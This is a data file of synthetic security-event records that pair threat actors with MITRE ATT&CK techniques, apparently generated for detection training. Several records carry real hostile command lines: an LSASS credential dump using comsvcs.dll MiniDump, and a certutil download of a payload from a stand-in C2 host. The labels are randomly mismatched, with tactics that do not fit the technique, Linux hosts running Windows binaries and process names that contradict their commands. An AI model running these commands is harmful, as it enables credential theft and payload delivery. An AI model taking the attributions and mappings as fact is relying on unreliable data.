text
stringlengths 1.13k
1.33k
|
|---|
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Collection","Execution","Command and Control"],"technique_id":"T1021.006"},"event_id":"evt_mustangpanda_20251007T001132000Z_0000601","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.172.226.209","name":"IAM-ROLE-KW2WJ5VYS3","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"601Mustang PandaT1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.191.241.250","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"cmstp.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2025-05-04T21:45:53.000Z","user":{"name":"azuread\\osu7v72of7t4","sid":"S-1-5-21-858569774-412913111-1417"}}
|
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Defense Evasion","Impact","Credential Access"],"technique_id":"T1059.001"},"event_id":"evt_apt41_20260929T161324000Z_0000603","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.96.61.239","name":"EC2-INST-FFLTXTHKGF","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"603APT41T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.188.245.21","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2043 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-08-22T01:54:31.000Z","user":{"name":"svc_tk4907vsi325","sid":"S-1-5-21-638374067-993552560-4000"}}
|
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Defense Evasion"],"technique_id":"T1484.001"},"event_id":"evt_apt29_20260618T185956000Z_0000605","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.229.134.136","name":"DB-ORACLE-X8CRWA6C8U","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"605APT29T1484.001"},"network":{"domain":"github.com","dst_ip":"1.175.185.14","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3543 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-05-14T12:27:44.000Z","user":{"name":"arn:aws:iam::j4ef0a72wx2z","sid":"S-1-5-21-613675566-544295841-8309"}}
|
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Collection","Command and Control","Initial Access"],"technique_id":"T1570"},"event_id":"evt_lapsus_20260509T001833000Z_0000607","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["TLS","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.113.63.60","name":"AZURE-VM-GYMZWZBZX9","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"607Lapsus$T1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.124.253.54","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1429 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-10-26T01:15:46.000Z","user":{"name":"arn:aws:iam::q44joh9wpr4m","sid":"S-1-5-21-882678681-194170312-2857"}}
|
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Defense Evasion","Reconnaissance","Discovery"],"technique_id":"T1071.001"},"event_id":"evt_lapsus_20260428T212424000Z_0000609","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.216.154.48","name":"EC2-INST-0GWKOCBGAL","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"609Lapsus$T1071.001"},"network":{"domain":"github.com","dst_ip":"1.152.62.132","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-04-07T23:08:49.000Z","user":{"name":"svc_v0aksrrjbcuq","sid":"S-1-5-21-580398829-641232617-9060"}}
|
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Exfiltration"],"technique_id":"T1546.003"},"event_id":"evt_unc4841_20250308T093805000Z_0000611","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.13.90.239","name":"EC2-INST-NW6H3SFNSY","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"611UNC4841T1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.105.110.37","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-09-27T16:09:39.000Z","user":{"name":"CORP\\68tn60qrygh7","sid":"S-1-5-21-856858915-482262642-9114"}}
|
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Defense Evasion","Exfiltration"],"technique_id":"T1071.001"},"event_id":"evt_unc4841_20250114T210742000Z_0000613","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.22.183.192","name":"EC2-INST-1CP9AL7H0N","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"613UNC4841T1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.175.218.242","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2702 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-02-20T02:49:55.000Z","user":{"name":"CORP\\h1i9h5341kcc","sid":"S-1-5-21-449620553-151745739-8470"}}
|
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Persistence"],"technique_id":"T1003.001"},"event_id":"evt_apt41_20260406T144636000Z_0000615","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.82.44.58","name":"AZURE-VM-B9FIQ2877P","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"615APT41T1003.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.66.179.153","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-11-08T18:25:58.000Z","user":{"name":"i-1ua6e0g9zysy","sid":"S-1-5-21-385917918-511821555-5786"}}
|
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1098.004 using LOLBin technique.","sub_technique":"SSH Authorized Keys","tactic":["Execution","Impact"],"technique_id":"T1098.004"},"event_id":"evt_scatteredspider_20250922T040646000Z_0000617","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.241.175.132","name":"DB-ORACLE-0V4CQGT6FA","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"617Scattered SpiderT1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.36.21.42","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"certutil.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-05-30T07:41:01.000Z","user":{"name":"arn:aws:iam::f4ciorpq63s7","sid":"S-1-5-21-911290874-682241690-7877"}}
|
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Initial Access","Command and Control"],"technique_id":"T1570"},"event_id":"evt_apt29_20260607T101403000Z_0000619","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["WMI","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.173.190.246","name":"IAM-ROLE-21UPL07R56","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"619APT29T1570"},"network":{"domain":"aws.amazon.com","dst_ip":"1.42.223.91","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-09-04T12:50:43.000Z","user":{"name":"azuread\\wa009sx51kub","sid":"S-1-5-21-649627354-649243010-4285"}}
|
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Persistence","Credential Access"],"technique_id":"T1071.001"},"event_id":"evt_fin7_20250401T195217000Z_0000621","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.204.227.117","name":"EC2-INST-NZOZ9UE5QA","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"621FIN7T1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.159.49.2","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3615 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-04-02T20:03:42.000Z","user":{"name":"arn:aws:iam::pxw6d5unxcit","sid":"S-1-5-21-739822796-225409448-1564"}}
|
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1531 using LOLBin technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Reconnaissance"],"technique_id":"T1531"},"event_id":"evt_unc4841_20261116T194454000Z_0000623","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.53.67.22","name":"WIN-FIN-SRV-MTMR9KW3HV","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"623UNC4841T1531"},"network":{"domain":"cdn-content.com","dst_ip":"1.144.84.157","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"wmic.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-09-24T21:40:39.000Z","user":{"name":"i-aktqdfawhd66","sid":"S-1-5-21-364879610-419355264-4652"}}
|
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Credential Access"],"technique_id":"T1021.006"},"event_id":"evt_scatteredspider_20261228T051948000Z_0000625","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.68.92.103","name":"IAM-ROLE-8OVMCUQDG0","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"625Scattered SpiderT1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.39.3.183","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-02-20T02:33:53.000Z","user":{"name":"svc_jcof0le707q4","sid":"S-1-5-21-429181182-162593102-7924"}}
|
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Exfiltration","Credential Access","Discovery"],"technique_id":"T1566.001"},"event_id":"evt_volttyphoon_20250116T202213000Z_0000627","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.145.229.157","name":"APP-WEB-9ONL1IOTBL","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"627Volt TyphoonT1566.001"},"network":{"domain":"github.com","dst_ip":"1.96.203.110","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1856 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-04-16T23:06:48.000Z","user":{"name":"i-4gxp9alje72q","sid":"S-1-5-21-345373082-608487312-5488"}}
|
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Exfiltration","Initial Access","Privilege Escalation"],"technique_id":"T1546.003"},"event_id":"evt_apt29_20250127T052020000Z_0000629","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["WMI","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.204.98.198","name":"IAM-ROLE-R1L1ZJ9X1C","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"629APT29T1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.120.106.106","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-05-19T10:58:45.000Z","user":{"name":"CORP\\x54wbi3av29m","sid":"S-1-5-21-734335108-601628142-1972"}}
|
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Impact"],"technique_id":"T1021.006"},"event_id":"evt_mustangpanda_20260830T091544000Z_0000631","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.13.156.5","name":"IAM-ROLE-IDX4CGYZPG","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"631Mustang PandaT1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.135.146.141","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"rundll32.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-11-29T13:41:43.000Z","user":{"name":"i-yei87lwz8z1y","sid":"S-1-5-21-870757191-849843417-7078"}}
|
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Discovery"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20250606T214223000Z_0000633","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.7.154.30","name":"APP-WEB-YWU5FC6BDO","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"633Volt TyphoonT1003.001"},"network":{"domain":"github.com","dst_ip":"1.60.18.47","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"mshta.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-12-21T11:46:46.000Z","user":{"name":"i-octh3kw7k1s9","sid":"S-1-5-21-977782417-672614349-7671"}}
|
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Command and Control","Credential Access"],"technique_id":"T1059.001"},"event_id":"evt_mustangpanda_20251109T010822000Z_0000635","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.34.187.95","name":"APP-WEB-D82YXGJ3V0","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"635Mustang PandaT1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.37.221.43","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 861 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-12-07T18:16:04.000Z","user":{"name":"azuread\\esfotkhuipy3","sid":"S-1-5-21-212280869-331430732-9297"}}
|
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Exfiltration","Privilege Escalation"],"technique_id":"T1566.001"},"event_id":"evt_scatteredspider_20260612T160851000Z_0000637","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.163.151.43","name":"WIN-FIN-SRV-C3QEIFOENJ","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"637Scattered SpiderT1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.108.224.214","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1109 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-01-05T21:02:07.000Z","user":{"name":"svc_w9swe9tc1lvm","sid":"S-1-5-21-420783860-877701471-4924"}}
|
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Impact"],"technique_id":"T1071.001"},"event_id":"evt_unc4841_20250810T002953000Z_0000639","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.195.80.61","name":"AZURE-VM-P5IOVHVN0R","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"639UNC4841T1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.85.202.6","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"powershell.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-07-26T08:34:30.000Z","user":{"name":"azuread\\wd577nd52amy","sid":"S-1-5-21-487900729-228996332-4060"}}
|
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Impact"],"technique_id":"T1059.001"},"event_id":"evt_lapsus_20261008T001533000Z_0000641","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.61.21.131","name":"WIN-FIN-SRV-3E1F2P0OF6","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"641Lapsus$T1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.182.163.202","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-04-08T17:44:10.000Z","user":{"name":"azuread\\8xyqlad1ny78","sid":"S-1-5-21-890544755-389919676-2173"}}
|
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Execution"],"technique_id":"T1566.001"},"event_id":"evt_fin7_20261031T181425000Z_0000643","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.214.99.20","name":"APP-WEB-DU1MYYVELI","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"643FIN7T1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.89.187.241","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-03-25T23:40:36.000Z","user":{"name":"arn:aws:iam::jecu0u91pzia","sid":"S-1-5-21-439418443-651096405-4551"}}
|
